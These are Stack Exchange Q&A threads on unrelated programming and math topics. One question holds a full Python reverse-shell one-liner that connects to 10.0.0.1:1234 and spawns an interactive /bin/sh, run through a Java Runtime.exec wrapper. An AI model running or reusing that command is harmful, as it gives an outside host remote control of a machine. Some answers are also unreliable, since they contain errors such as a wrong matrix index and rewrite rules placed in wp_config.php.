text:
Q: Windows form not responding: How can I resolve this issue? I create a windows service and a setup project.
During the installation of the windows service, I add a windows form which allow the user to upload a file in the project folder but when I click on the button to upload the file my windows form is always on state not responding

ProjectInstaller of my windows service
public override void Install(IDictionary stateSaver)
{
    base.Install(stateSaver);

    Form1 validationForm = new Form1();
    validationForm.ShowDialog();
}

Windows form
public Form1()
{
    InitializeComponent();
}

private void button1_Click_1(object sender, EventArgs e)
{
    try
    {
        OpenFileDialog fileDialog = new OpenFileDialog();
        //fileDialog.Filter = "Dat files |*.dat";
        fileDialog.Multiselect = false;

        if (fileDialog.ShowDialog() == DialogResult.OK)
        {
            var path = fileDialog.FileName;
            Process.Start(path);
        }
    }
    catch (Exception)
    {
        MessageBox.Show("An error occured", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
    }
}

A: I think Process.Start(path); block UI thread.
Try to use Task.Run(() => Process.Start(a)); instead.

A: Your UI is locked up due to a long running process which is why you see "Not responding"
Mark your Click Async:
private async void button1_Click_1(object sender, EventArgs e)
and
 await Task.Run(() =>
 {
    //Insert the long running stuff here
    Process.Start(path);
 });

A: Try this.
private void button1_Click(object sender, EventArgs e)
{
    var task = new Thread(() => GetFile());
    task.SetApartmentState(ApartmentState.STA);
    task.Start();
    task.Join();
}

private static void GetFile()
{
    try
    {
        OpenFileDialog fileDialog = new OpenFileDialog();
        //fileDialog.Filter = "Dat files |*.dat";
        fileDialog.Multiselect = false;

        if (fileDialog.ShowDialog() == DialogResult.OK)
        {
            var path = fileDialog.FileName;
            Process.Start(path);
        }
    }
    catch (Exception)
    {
        MessageBox.Show("An error occured", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
    }
}


text:
Q: Express io has no method 'emit' Im trying to emit event in routes.js on app.post and i got this errors : as no method 'emit'.
app.js :
app.io.route('setOnlineServer', function (req) {
Account.setOnline(req.user);
});

routes.js
app.post('/login', passport.authenticate('local'), function(req, res) {
    req.io.emit('setOnlineServer',req.user);
    res.redirect('/');
});

if i cant get users like this. Any idea to get authentified users?

A: Server (app.js)
app = require('express.io')()
app.http().io()

// Broadcast the new visitor event on ready route.
app.io.route('ready', function(req) {
   req.io.broadcast('new visitor')
})

// Send client html.
app.get('/', function(req, res) {
res.sendfile(__dirname + '/client.html')
})

app.listen(7076)

Client (client.html)

redpajama_set_name: RedPajamaStackExchange


text:
Q: How do I implement multiplication and division in MIPS assembly without using the built in instructions? Ok, here is the problem. I had to write a MIPS program that got 2 input numbers from the user. Then, I had to write a code that would output the product, quotient and remainder for the 2 numbers entered by the user.
Now, that was pretty straight forward. However, I didnt realize that we could NOT use the multiply and divide operands in the program. Now I dont know what to do because I am confused on how to do it without the multiply and division operands. I only used it twice in the whole program, it works fine but my professor wont accept it and now im getting sad. Any help would be appreciated. Thank you
Here is my code
# Given positive integers a and b, output a/b and a%b.
  .data
str1: .asciiz "Enter a: "
str2: .asciiz "Enter b: "
str3: .asciiz "a/b = "
str4: .asciiz "a%b = "
str5: .asciiz "a*b = "
newline: .asciiz "\n"
  .text

main: li   $v0, 4            # system call code for print_string
  la   $a0, str1         # address of str1
  syscall                # print str1

#get the first number from user, put it into $s0

li   $v0, 5            # system call code for read_int
  syscall                # read an integer into $v0 from console
  add  $s0, $v0, $zero   # copy $v0 into $s0 (a)

#read print_string for str2
li   $v0, 4            # system call code for print_string
  la   $a0, str2         # address of str1
  syscall                # print str1

# get second number from user, put it into $t1
li  $v0, 5      #load syscall for read_int
syscall         #make the syscall
move $s1, $v0       #move the number read into $s1(b)

#DO THE CALCULATIONS................................................
div $s0, $s1        #diving $s0 by $s1
mflo    $t0         #storing value of lo(quotient) in
                #register $t0
mfhi    $t1         #storing value of hi(remainder) in
                #register $t1

mult $s0, $s1
mflo $t2

li $v0,1
move $a0, $t2
syscall

li $v0,4
la $a0, str5
syscall

#read print_string for str3
li   $v0, 4            # system call code for print_string
  la   $a0, str3         # address of str1
  syscall                # print str1

#print a/b
li  $v0, 1      #load syscall print_int into $v0
move $a0, $t0      #move the number to print into $t2
syscall
# read print string for str4
li $v0, 4
    la $a0, str4
    syscall
# print remainder
li $v0, 1
move $a0, $t1
syscall

#end of program
li  $v0, 10     #system call code for exit
syscall

A: What you're looking for is bitwise multiplication/division.
I'm not sure I can summarize it succinctly, but here I go with an example:
To Multiply
Let's say you wish to multiply the number 6 by the number 5.
If a = number 6, then (in simplified 8-bit) this is:
a=00000110
If b = the number 5, then (in simplified 8-bit) this is:
b=00000101
To multiply these numbers, you need to shift by the nearest multiple of two below the nummber, then add.
For example, the nearest multiple of 2 below 5 is 4, that is to say it's 2^2;
So we bitwise shift left a (the number 6) 2 times:
a << 2
Which now makes it  00011000
This means we've now multiplied by 4; to now make this multiplied by 5, we simply add a again:
     00011000
    +00000110
    =00011110
    =30 (base 10)

Which is 6*5.
Let's try this again with 12*11
The nearest multiple of 2 below 11 is 8 (2^3). This means we'll need to bitwise shift the number 12 3 times, then add it to itself another 3 times.
    00001100 = 12
    //Let's bitshift by 3
    01100000 = 96
    //Let's add 12 3 times
    01100000
   +00001100
   =01101100 = 108
   +00001100
   =01111000 = 120
   +00001100
   =10000100 = 132 = 12*11

To Divide
To divide 12 by 11, you go the other way; subtract 12 from 132, 3 times, then bitshift to the right 3 times (to divide by 8)
Relevant Resource(s)
That's the best I can do right at this moment; if you want more, with relevant algorithms in C, take a look at http://www.programmersheaven.com/mb/CandCPP/295363/295363/bitwise-multiplication--division/
If you want any of this answer expanded, comment below;
P.S. I've shown you two examples with prime numbers (nasty) but what if you get a number like 12?
Logically, based on what I've said, the nearest multiple of 2 is 8 (2^3), so you'd have to bitshift left 3, then add 12 to the number 4 times.
But if you do the maths, you'd find that 12 is actually = (2^3 + 2^2)... which means you can get (12 << 3) (that's 12 bitshift-left 3 times), then add it to (12 << 2) (that's 12 bitshift left 2 times)... magic!

A: Try this for multiplication algorithm:
This is MIPS implementation of Boothe's algorithm:
http://code.google.com/p/mips-booth-multiplication/source/browse/trunk/booth.asm?r=9

A: From the Wikipedia entry on Multiplication:
"Because the result of scaling by whole numbers can be thought of as consisting of some number of copies of the original, whole-number products greater than 1 can be computed by repeated addition"
In other words, to multiply a * b you add a together b times.
The strategy you mention in your comment (bitshifting) is interesting - probably more efficient, but definitely MUCH more complicated.
An analogous strategy will work for division/remainder.


text:
Q: Good books to Learn General topology I am quite interested in learning topology from the basics, I would like to find a book that is quite detailed and has a large number of examples.
What are the best books to easily understand topology?
Thanks.

A: My recommendations: Elementary Topology: Problem Textbook and Topology without Tears. (Both are available online.)
Stephen Willard's General Topology is also a nice choice.

A: "Topology" by James Dugundji has the best of many worlds: formality and richness in content without being too obnoxious or cryptic for someone who has no idea of topology.
"Topology" by James Munkres is (I think) an excellent introductory book, very digestible and easy to handle. The main drawback I see from this one is that it can be a bit slow, so if you are in a hurry to learn topology go for Dugundji instead.
"General Topology" by Stephen Willard is an excellent book that not only teaches you the concepts, but also the reason behind them. Unfortunately, Willard leaves too much to the reader (for my taste), and it can be a bit lacking in problems.
Last but not least, "Topology" by Ryszard Engelking is somewhat considered a bible among students and teachers. It is an extremely complete book, but it can be a tough read for a beginner. I don't recommend starting with this one, but I wanted to mention it since it can be a good reference in the future.
Unfortunately, I have yet to find THE perfect book for an introductory course to Topology, but I feel that the combination of this four books is an excellent way to dip your toes in topology. My main recommendation is to start with Munkres, if you feel it's too easy and slow go for Dugundji while complementing with Willard, and if everything still feels too basic and obvious, go for Engelking.

A: Munkres is good, or this book: http://www.ehu.eus/~mtwmastm/TG0910.pdf

A: Gustavo Rubiano's book, introduction to Topology (Victor Anatolyevich Vassiliev).


text:
Q: Passing Python statements as command line args to Java program Given the below java code, how can I pass the following python statements as argument to the java code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

The java code:
import java.io.*;
public class Exec {

    public static void main(String[] args) throws IOException {
        Process p = Runtime.getRuntime().exec(args[0]);
        byte[] b = new byte[1];

        while (p.getErrorStream().read(b) > 0)
            System.out.write(b);
        while (p.getInputStream().read(b) > 0)
            System.out.write(b);
    }
}

I execute the java code using:
java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''

but it throws syntax error near unexpected token('`. If I use double quotes at the beginning and end
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

it throws:
  File "<string>", line 1
    'import
          ^
SyntaxError: EOL while scanning string literal

Any help is much appreciated.

A: As you've noted, this is quite confusing. You're trying to pass in everything as one argument and the quoting becomes difficult. If you need explicit arguments, I think you have to pass in three arguments to your Java program, viz:

*

*python

*-c

*the complete script quoted appropriately

e.g.
java Exec python -c "script quoted and escaped properly"

but perhaps you could circumvent that by running 'python' and passing the name of the file containing your script? (why do you need to specify 'python' and '-c' - could that be hardcoded in your program?)
Fundamentally, though, why are you using Java to execute a Python program to spawn a bash shell? If you're on the Java platform, I would look at how to achieve what you really want without having to fork subprocesses using different technologies.


text:
Q: Is there a delegate in SwiftCharts that I can call when the user scrolls the bar graph? I need to fetch more data (bars) as the user scrolls left in my bar graph. I see where I can get the position of each data point, but I can seem to find a delegate that is exposed that I an call when the user is scrolling the graph. I set the zoom initially so the user will have to scoll to see the rest of the bars
var chartSettings = ExamplesDefaults.chartSettingsWithPanZoom
chartSettings.zoomPan.minZoomX = 2

Is there a delegate that I can call so I can check to see if the datapoint is in the viewport before fetching more data?
https://github.com/i-schuetz/SwiftCharts

A: Check out func onPan in ChartDelegate.
Delegate:
https://github.com/i-schuetz/SwiftCharts/blob/ec538d027d6d4c64028d85f86d3d72fcda41c016/SwiftCharts/Chart.swift
From example:
https://github.com/i-schuetz/SwiftCharts/blob/d1f4c580eff3b815cf9a10739ecd7bfd7474c2de/Examples/Examples/AreasExample.swift


text:
Q: Copy value of cell from multiple workbooks to a master file In work I want to consolidate data from some excel workbooks into single master file. I can't install any other programs or tool due to UAC and stuff, so I have to use vba. Edit: Im also stuck with Excel 2010 with doesn't have consolidate tool built in.
I have some code done but I'm stuck. I want to copy specified range form many workbooks(A1:A35) into columns of master file. Each columns of master is each file. Problem with my code is that it doesn't move to next column for next file.
Sub Get_Columns()
    Dim sPath As String
    Dim sFil As String
    Dim owb As Workbook
    Dim twb As Workbook

    With Application
        .Calculation = xlCalculationManual
        .EnableEvents = False
        .ScreenUpdating = False
    End With

    Set twb = ThisWorkbook
    sPath = ThisWorkbook.Path & "\"
    sFil = Dir(sPath & "*.xlsx")

    Do While sFil <> "" And sFil <> twb.Name
        Set owb = Workbooks.Open(sPath & sFil)
        twb.Sheets("Podsumowanie").Cells(1, Rows.Count).End(xlToLeft).Offset(, 1) = owb.Sheets("Wyniki").Range("A1:A35").Value
        owb.Close False 'Close no save
        sFil = Dir

    Loop

        With Application
        .Calculation = xlAutomatic
        .EnableEvents = True
        .ScreenUpdating = True
    End With
End Sub

A: Try replacing the single copy line with these three.
You need to refer to Columns.count, not rows.count as you want to go the last column and then work backwards. (Cells is row, column).
With owb.Sheets("Wyniki").Range("A1:A35")
    twb.Sheets("Podsumowanie").Cells(1, Columns.Count).End(xlToLeft).Offset(, 1).Resize(.Rows.Count, .Columns.Count).Value = .Value
End With


text:
Q: Deriving the HJB equation in stochastic control problem I'm reading the paper by J.Gatheral and A.Schied - "Optimal Trade Execution under
Geometric Brownian Motion in the Almgren and Chriss Framework". On page 6, the authors provide a value function, which maps initial conditions with minimal cost value ($T$ - Time remaining to expire position, $X$ - value of position, $S_0$ - asset price at first moment of time). The function can be expressed as:
$$
C(T,X,S_0) = \inf_{v \in V(T,X)}\mathbb{E}\left[\int_0^Tv^2_tdt + \lambda \int_0^Tx_t^v S_tdt \right]
$$
I'm struggling with deriving HJB equation for this case, which has the form:
$$
C_T = \frac{1}{2}\sigma^2S^2C_{SS} + \lambda SX + \inf_{v \in \mathbb{R}}\left(v^2 - vC_x\right)
$$
It is assumed that asset price $S$ follows Geomterical Brownian Motion with no drift, $dS_t = \sigma S_t dt$. I'm familiar with the Bellman principle, but it still seems unobvious to me.
Would appreciate any help.


text:
Q: OpenGL spritesheet shader I'm staring to understand that a vertex Shader handles transformations of my texture. While the fragment Shader handles individual pixels. But this vector math is confusing.
What I'm trying to do is render a sprite from a sprite sheet. I can render a whole image just fine, but now i'm actually trying to write my own shader.
I think its more efficient to have the graphics card do the heavy lifting, that being said;
Currently I draw whole images like so:
In my init step,
void TextureRenderer::initRenderData()
{
    // Configure VAO/VBO
    game_uint VBO;
    game_float vertices[] = {
        // Pos      // Tex
        0.0f, 1.0f, 0.0f, 1.0f,
        1.0f, 0.0f, 1.0f, 0.0f,
        0.0f, 0.0f, 0.0f, 0.0f,

        0.0f, 1.0f, 0.0f, 1.0f,
        1.0f, 1.0f, 1.0f, 1.0f,
        1.0f, 0.0f, 1.0f, 0.0f
    };

    glGenVertexArrays(1, &this->quadVAO);
    glGenBuffers(1, &VBO);

    glBindBuffer(GL_ARRAY_BUFFER, VBO);
    glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices, GL_STATIC_DRAW);

    glBindVertexArray(this->quadVAO);
    glEnableVertexAttribArray(0);
    glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 4 * sizeof(game_float), (GLvoid*)0);
    glBindBuffer(GL_ARRAY_BUFFER, 0);
    glBindVertexArray(0);
}

Then when its time to draw any texture:
void TextureRenderer::DrawTexture(Texture2D &texture, vec2 position, vec2 size, game_float rotate, vec3 color)
{
    // Prepare transformations
    this->shader->Use();
    glm::mat4 model;
    model = glm::translate(model, vec3(position, 0.0f));  // First translate (transformations are: scale happens first, then rotation and then finall translation happens; reversed order)

    model = glm::translate(model, vec3(0.5f * size.x, 0.5f * size.y, 0.0f)); // Move origin of rotation to center of quad
    model = glm::rotate(model, rotate, vec3(0.0f, 0.0f, 1.0f)); // Then rotate
    model = glm::translate(model, vec3(-0.5f * size.x, -0.5f * size.y, 0.0f)); // Move origin back

    model = glm::scale(model, vec3(size, 1.0f)); // Last scale

    this->shader->SetMatrix4("model", model);

    // Render textured quad
    this->shader->SetVector3f("spriteColor", color);

    glActiveTexture(GL_TEXTURE0);
    texture.Bind();

    glBindVertexArray(this->quadVAO);
    glDrawArrays(GL_TRIANGLES, 0, 6);
    glBindVertexArray(0);
}

TextureShader.vs:
#version 330 core
layout (location = 0) in vec4 vertex; // <vec2 position, vec2 texCoords>

out vec2 TexCoords;

uniform mat4 model;
uniform mat4 projection;

void main()
{
    TexCoords = vertex.zw;
    gl_Position = projection * model * vec4(vertex.xy, 0.0, 1.0);
}

Fragment Shader:
#version 330 core
in vec2 TexCoords; //Position
out vec4 color;

uniform sampler2D image;
uniform vec3 spriteColor;

void main()
{
    color = vec4(spriteColor, 1.0) * texture(image, TexCoords);
}

Now that work all fine and dandy (assuming proper opengl setup ext.)
But id like to apply this to a Sprite sheet shader, and have the GPU handle the math to draw it.
void SpriteRenderer::drawSprite(Texture2D &texture, vec2 position,game_float spriteHeight,game_float spriteWidth,int frameIndex)
{
    shader->Use();//Load a diffrent Shader here.
    shader->SetInteger("frameindex", frameIndex);
    shader->SetVector2f("position", position);
    shader->SetFloat("spriteHeight", spriteHeight);
    shader->SetFloat("spriteWidth", spriteWidth);
    shader->SetMatrix4("model", model);
    shader->SetVector3f("spriteColor", color);

    glActiveTexture(GL_TEXTURE0); //Set texture to nothin
    texture.Bind(); //Bind my texture.

    glBindVertexArray(this->quadVAO); //Bind the fullscreen quad
    glDrawArrays(GL_TRIANGLES, 0, 6); //Draw
    glBindVertexArray(0); //Unbind the quad.
}

I assume:
Inside the vertex Shader, I manipulate the VAO quad to the position it is on the canvas then set the color of the pixles in the fragment shader to that spesific region.
How would that be done?
Or would it be better off for me to pre-calculate a VAO Array for each Sprite in a sprite class? Then each draw call would be:
void SpriteRenderer::drawSprite(Texture2D &texture, vec2 position,Sprite s)

Where the sprite has these vertices stored.
Iv seen:
Techniques for drawing spritesheets in OpenGL with shaders
Somewhat similar, but id like to have the GPU handle the math all together.


text:
Q: Adding automatically rows of an array I have got a vector[1.0, 1.0, 1.0, 1.0, 1.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0]and a correspondent 19xn matrix. I want to perform add operation in rows of the matrix based on the indexes of the vector. So I want to add the rows with correspondent index one, two, three and finally to construct a new array of 3 rows. How is it possible to  do so automatically, without knowing the prior index number(but knowning that they are sorted as it is in my example)?

A: There are several options. Depending on whether performance or memory consumption are more important, and depending on how large the vector/matrix are in the actual use-case, and how the distribution of indices actually is. But a rather simple (IMHO elegant) and versatile solution might be to create a map that maps each index to the sum of matrix rows that has been computed so far. There might be solutions that are slightly more efficient or require less memory, but they will probably not be so readable.
import java.util.Arrays;
import java.util.Collection;
import java.util.LinkedHashMap;
import java.util.Map;

public class AddMatrixRows
{
    public static void main(String[] args)
    {
        double vector[] = {
            1.0, 1.0, 1.0, 1.0, 1.0,
            2.0, 2.0, 2.0, 2.0, 2.0,
            2.0, 2.0, 2.0, 3.0, 3.0,
            3.0, 3.0, 3.0, 3.0};
        double matrix[][] = new double[vector.length][];
        for (int r=0; r<vector.length; r++)
        {
            matrix[r] = new double[] { 12, 34, 56 };
        }

        double sums[][] = computeSums(vector, matrix);
        for (int r=0; r<sums.length; r++)
        {
            System.out.println(Arrays.toString(sums[r]));
        }
    }

    private static double[][] computeSums(double vector[], double matrix[][])
    {
        Map<Integer, double[]> sumsByIndex = new LinkedHashMap<Integer, double[]>();
        for (int r=0; r<vector.length; r++)
        {
            int index = (int)vector[r];
            double array[] = sumsByIndex.get(index);
            if (array == null)
            {
                int numColumns = matrix[index].length;
                array = new double[numColumns];
                sumsByIndex.put(index, array);
            }
            add(array, matrix[index]);
        }
        return toArray(sumsByIndex.values());
    }

    private static double[][] toArray(Collection<double[]> collection)
    {
        double result[][] = new double[collection.size()][];
        int i = 0;
        for (double sum[] : collection)
        {
            result[i] = sum;
            i++;
        }
        return result;
    }

    private static void add(double array[], double addend[])
    {
        for (int i=0; i<array.length; i++)
        {
            array[i] += addend[i];
        }
    }
}

A: You can first get the maximum number from the index array and create an output array with that size. Now you can loop through the other matrix and using the index vector, add it to the output array.


text:
Q: How to parse and convert a text in Dart I have a text coming from the API like this:

The temperature in the room is [{50°}{F}]

How i can parse this text from the brackets (read the values inside the bracket and remove the brackets) and convert it to Celsius ?
So the result can look like this

The temperature in the room is 10° C

A: If you always have the same format with [{number}{F}] you can use these lines to split up the string and convert it to celsius:
String temp= "The temperature in the room is [{50°}{F}]";
double fahreneit=double.parse(temp.split("[")[1].split("{")[1].split("°")[0]);
double celsius= (fahreneit-32)*5/9;
print ("The temperature in the room is $celsius° C");

A: This does look like something that is best handled by a RegExp.
RegExp _tempRE = RegExp(r"\[\{(-?\d+(?:\.\d+)?)°\}\{([CF])\}\]");
String convertTemperaturesToCelsius(String input) {
  return input.replaceAllMapped(_tempRE, (m) {
    var temp = m[1];
    var scale = m[2];
    if (scale == "C") return "$temp° C";
    assert(scale == "F");
    var fahrenheit = double.parse(temp);
    var celsius = fahrenheitToCelsius(fahrenheit);
    var dot = temp.indexOf('.');
    var decimals = dot < 0 ? 0 : temp.length - dot - 1;
    var celsiusString = celsius.toStringAsFixed(decimals);
    return "$celsiusString° C";
  });
}

double fahrenheitToCelsius(num fahrenheit) => (fahrenheit - 32) * 5 / 9;

// Example:
main() {
  var s = "ab [{50°}{F}] cd[{50.25°}{C}]..[{-12°}{F}]";
  print(convertTemperaturesToCelsius(s));
}

I chose to allow decimals on the numbers, and output with the same number of decimals as the input, and recognized both {C} and {F} as original temperatures.
Your details might vary.


text:
Q: Warning from signalr.exe references not being able to load Microsoft.DiaSymReader.Native Just had this start creeping into my builds of an asp.net mvc 5 project I run internally. I have a afterbuild msbuild step that generates the signalr hub code at compile time:
<Exec Command="$(SolutionDir)packages\Microsoft.AspNet.SignalR.Utils.2.2.0\tools\signalr.exe ghp /o:$(MSBuildThisFileDirectory)Scripts\signalR.hubs.js" WorkingDirectory="$(OutDir)" />

Recently I started getting warnings from Visual Studio 2015 when I compile, stating that EXEC

could not load file or assembly
  'Microsoft.DiaSymReader.Native.amd64.dll' or one of its dependencies.
  The module was expected to contain an assembly manifest.

Likewise,  I get a duplicate warning referencing the same assembly but with x86 inserted for amd64 in the name.
I haven't run into this type of warning previously, anyone seen this specific issue or know a good place for me to dig further into this?


text:
Q: I need help interpreting this set notation problem? everybody, I just need help interpreting  $(P\cap$Q)' $\cap$ (P$\cup$Q)
I thought it would have been,
P and Q don't intersect but intersects all of P and Q
but I'm wrong why?

A: You are wrong or right depending on the interpretation of english. Natural languages sometimes are somewhat fuzzy about the semantics which is inadequate for mathematics sometimes. This means that when using natural language you have to stay clear from these traps.
The complement of a set is the set of elements not contained in the other set. That is $(P\cap Q)'$ is the set of element that is not in both $P$ and $Q$. And the set $P\cup Q$ is the set of elements that is in $P$ or $Q$ (or both). Finally when intersecting these sets it means that it's the set of elements that is in $P$ or $Q$, but not both (to see this we can use a venn diagram).


text:
Q: How to validate form controls data size not more than 2.5 mb? I have form which has controls like first name, last name, etc and also file upload attachment. I need to calculated all the data should reach more than 2.5 mb.
How can we do that with jQuery and show validation error on that page?
<form action="/ContactSubmission" class="form-horizontal" enctype="multipart/form-data" method="post" role="form" novalidate="novalidate">

          <input class="form-control input-validation-error" data-val="true" data-val-required="The First Name field is required." id="FirstName" name="FirstName" placeholder="First Name" required="required" type="text" value="">
          The First Name field is required.

          <input class="form-control" data-val="true" data-val-required="The Last Name field is required." id="LastName" name="LastName" placeholder="Last Name" type="text" value="">

          <input class="form-control" data-val="true" data-val-required="The Email Address field is required." id="EmailAddress" name="EmailAddress" placeholder="Email Address" type="text" value="">

           <input class="form-control" id="Attachement" name="Attachement" type="file" value="">

                <button type="submit" class="btn btn-primary">Submit</button>
                <button type="button" class="btn btn-default" id="cancel">Cancel</button>

A: With modern browsers (browsers which support HTML5), you can check the size property of the files in the <input type="file"> element.
var input = $('input[type="file"]')[0];
var fileSize = input.files[0].size // file size in bytes

On older browsers (browsers which do not support HTML5), you cannot achieve this using jQuery because jQuery (javascript) doesn't have access to the size of files that you submit through a <input type="file">. You have two alternate options:

*

*Use a flash uploader (swfupload for example). Flash does have access to the size of files, contrary to javascript.

*Let the user upload the file even if it's too big (using your existing form), check the file size on the backend, and then show him in response a message stating that the file has been discarded because it's too big.
The first solution (flash) has the advantage of not letting the user wait until the upload of the oversized file is complete. Since it has access to file sizes, you can display an error before the upload has even started.

A: You can check the files-property of a file input like this  :
<input type="file" name="photo" id="photo">

script :
var photo=document.getElementById('photo');
photo.onchange = function() {
    var file = photo.files[0];
    if (file.size>2621440) {
        alert('Filesize must 2.5mb or below');
    }
}


text:
Q: Rotating an encoded 3x3 matrix/list Let's say there is an encoded 3x3 plane:
1 2 3
4 5 6
7 8 9

After a clockwise rotation, it becomes:
7 4 1
8 5 2
9 6 3

To convert the former to the latter, an obvious approach would be doing something like this:
 switch (num) {
     case 1: return 7; break;
     case 2: return 4; break;
     ...
 }

For example, [1, 5, 6, 9] gives [7, 5, 2, 3].
Is there anyway to do this without hard-coding it?

A: The function to transform the value to the new value, that would arrive at the same position, you can use the function as defined (in JavaScript) below:

function rotated(num) {
    num--; // convert to zero-based number
    return 1 + (2 - num % 3) * 3 + Math.floor(num / 3);
}

// demo: print original and new value next to each other:
for (let num = 1; num <= 9; num++) {
    console.log(num, rotated(num));
}

Follow-up
In comments you asked how I came up with this solution.
There are several ways to get there, but here is how I think it went:
I wondered: if I were to know the row and column where the given number appears, what would be the row and column where to get the new value from?
For instance, 3 appears in row 0 and column 2 (in zero-based index numbering). The value I need sits in row 0 and column 0. By playing with row and column, you find that all entries in row 0 will get their new value from column 0. Similarly those in row 1 will get their new value from column 1.
With the column number there is also a relationship: all entries in column 0 get their new value from row 2. Those column 1 get them from row 1, and those in column 2 get them from row 0. So here we have an inverse relationship.
So the steps to take, given a number, are:

*

*Derive from the given number in which row and column it appears

*Derive from these row and column indexes the other row and column indexes, where the new value is sitting (following the above principle)

*Derive from that other row and column which value sits there and return it.

I had focussed on the details of step 2 until now. The first step should be easy. The column index where a given num appears is (num-1) % 3 (modulo operator). The row index is (num-1)/3 (integer division).
Step 3 should do the inverse: multiply the row index by 3 and add the column index. That gives a zero-based value, so 1 should be added to it.
All this leads to the following code:

function rotated(num) {
    num--; // convert to zero-based number
    // Step 1: derive row and column
    let col = num % 3;
    let row = Math.floor(num / 3);
    // Step 2: derive other row and column
    let valueCol = row;
    let valueRow = 2 - col; // opposite direction
    // Step 3: which value sits there?
    let value = valueRow * 3 + valueCol + 1;
    // Return that
    return value;
}

// demo: print original and new value next to each other:
for (let num = 1; num <= 9; num++) {
    console.log(num, rotated(num));
}

Then the last step was to reduce the number of variables used in that program... which led to the first snippet above.


text:
Q: Wordpress migration to new domain and environment with only zip file As my title explains I am trying to migrate a customers Wordpress site to new environment and domain. Why? because Godaddy instance exploded and everything went down. I only have the complete website dumps taken from CPANEL. This includes all the website folders and a SQL dump. Of course everything in the DB and files points to the old environment.
How do I achieve this in 2019? Do I still have to painstakingly piece together everything manually?
Recap:

*

*Migrate Wordpress site with a Zip file backup made from cpanel (includes files and DB).

*New domain name

*New environment

A: Migration with domain change can be tricky and not for the faint of heart. It is much easier to keep the domain the same and port it over to a new environment and then changes the domain.  Then, at the very most, it is just a matter of passwords for the database resident in the root via file: wp_config.php file.
Classicly there are two solutions, based on what environment you are going "to".
If you have access to the WHM, then you have the lovely tool WHM >> Home >> Transfers >> Transfer Tool.  This will do all the work for you.
If not, then you are in for a bit of a harder road, given you want to change the domain name at the same time. The method I have used in the past, is a 2 part solution.

*

*Break up the full backup into full source files and the .gz file for the mysql database.

*Import the database using the PhpMySQL CPanel tool.  Make sure the database is empty and import the database directly via the import option.

*Using the Cpanel assign the database name and the password.

*Copy all the files to the HTML folder one for one. Typically this is called "public_html"

*While they are copying you are going to need to manually change the database domain name.  There is a good website that explains all the areas you will need to change.

https://help.dreamhost.com/hc/en-us/articles/214580498-How-do-I-change-the-WordPress-Site-URL-

*Then you will need to modify the wp_config.php, resident in the HTML folder as follows:
 /** The name of the database for WordPress */
  define('DB_NAME', 'site_wrdp1');

  /** MySQL database username */
 define('DB_USER', 'site_wrdp1');

 /** MySQL database password */
  define('DB_PASSWORD', 'password');

and place a rewrite code (since you are changing domain names)
    #Options +FollowSymLinks
    RewriteEngine on
    RewriteRule ^(.*)$ http://www.newsite.COM/$1 [R=301,L]

Place that code at the top of the wp_config.php file.
Then you fire it up and see what happens.  Usually it is the database user name and password that is the problem.  Another good site, that covers a lot of this, in much more detail is:
https://wedevs.com/92444/change-wordpress-site-address/
Hope this helps...good luck

A: Assuming you can still access your WordPress admin, install new plugins and your original/source website is working (front-end / backend). You can install this plugin: https://wordpress.org/plugins/prime-mover/
You can export the entire website package (complete export mode: db + media + plugins + themes) as a single zip and download it to your computer.
Then in your new server / new domain, install a blank WordPress (fresh install) and activate Prime Mover plugin.  Go to Tools - Migration Tools. Restore the package zip you downloaded earlier and it should be uploaded/restored to your new domain. Now your site is fully migrated.
The plugin handles all things automatically including changes in db/ copying files ,etc. You don't need to mess with PHP code or server settings.


text:
Q: Probability that the smallest side of the line forming triangle will be smaller than $\frac L3$ There is a line the length of which $L$. We throw $2$ random points on it, hence $3$ segments are formed. I've denoted the length of the first segment $x$, the other one $y$, hence the 3rd one $L-x-y$.
I've found that the probability that these $3$ segments would form a triangle is $\frac 14$. Now I need to find what is the probability that the length of the smallest side will be not bigger(<=) than $\frac L3$ if these $3$ segments form a triangle.

The answer is $1$ but I can't figure out why.
Thanks.

A: In any division of the stick into three pieces, if no piece is shorter than $L/3$ then all sticks must be $L/3$ in length, else they would form a stick of length greater than $L$, and this event has measure zero (i.e. it almost never happens). Thus there is probability 1 that the shortest stick is shorter than $L/3$, irrespective of whether the pieces form a triangle or not.


text:
Q: How do I properly validate angular dynamic reactive form I am unable to validate angular form fields

let nextoval= this.information.controls['analys'].get('nextToYou')?.value
    if(!nextoval){
        let ntsv=prompt('Type in a number greater than your age')
      if(ntsv){
        this.information.controls['analys'].get('nextToYou')?.patchValue(parseFloat(ntsv))
      }
      else{
        return this.info=false
      }
}

This is my code, it works perfect on windows and android but does not work iPhone and macbooks
It always returns false and also the patchvalue does not patch anything but rather deletes the value


text:
Q: Prefixed / Suffixed Environmental Domain Names Overview
I'm currently implementing a multiple environment plug-in for the CodeIgniter framework as a learning experience; however, I have run into an issue which could be solved multiple ways. I am unsure of which approach [is best] to take, hence this question. I've done a quick search of Stack Overflow and the Web on this subject and have found little definitive results.
Problem
When developing a website you generally have a setup which mimics a similar structure to this: Local - Testing - Live. In having this structure you'll almost certainly have a domain structure to be able to view the website in their different environments, whether this be a prefixed structure, or suffixed.
Question
What method of defining a URL for each of the above environments is best practise, is it the prefixed approach:

*

*local.site.com

*test.site.com

*site.com

or the suffixed approach:

*

*site.local

*site.test

*site.com

Even if the outcome of this question is that I should provide support for both prefixed and suffixed, it would still be beneficial to know which is the best practise to use.

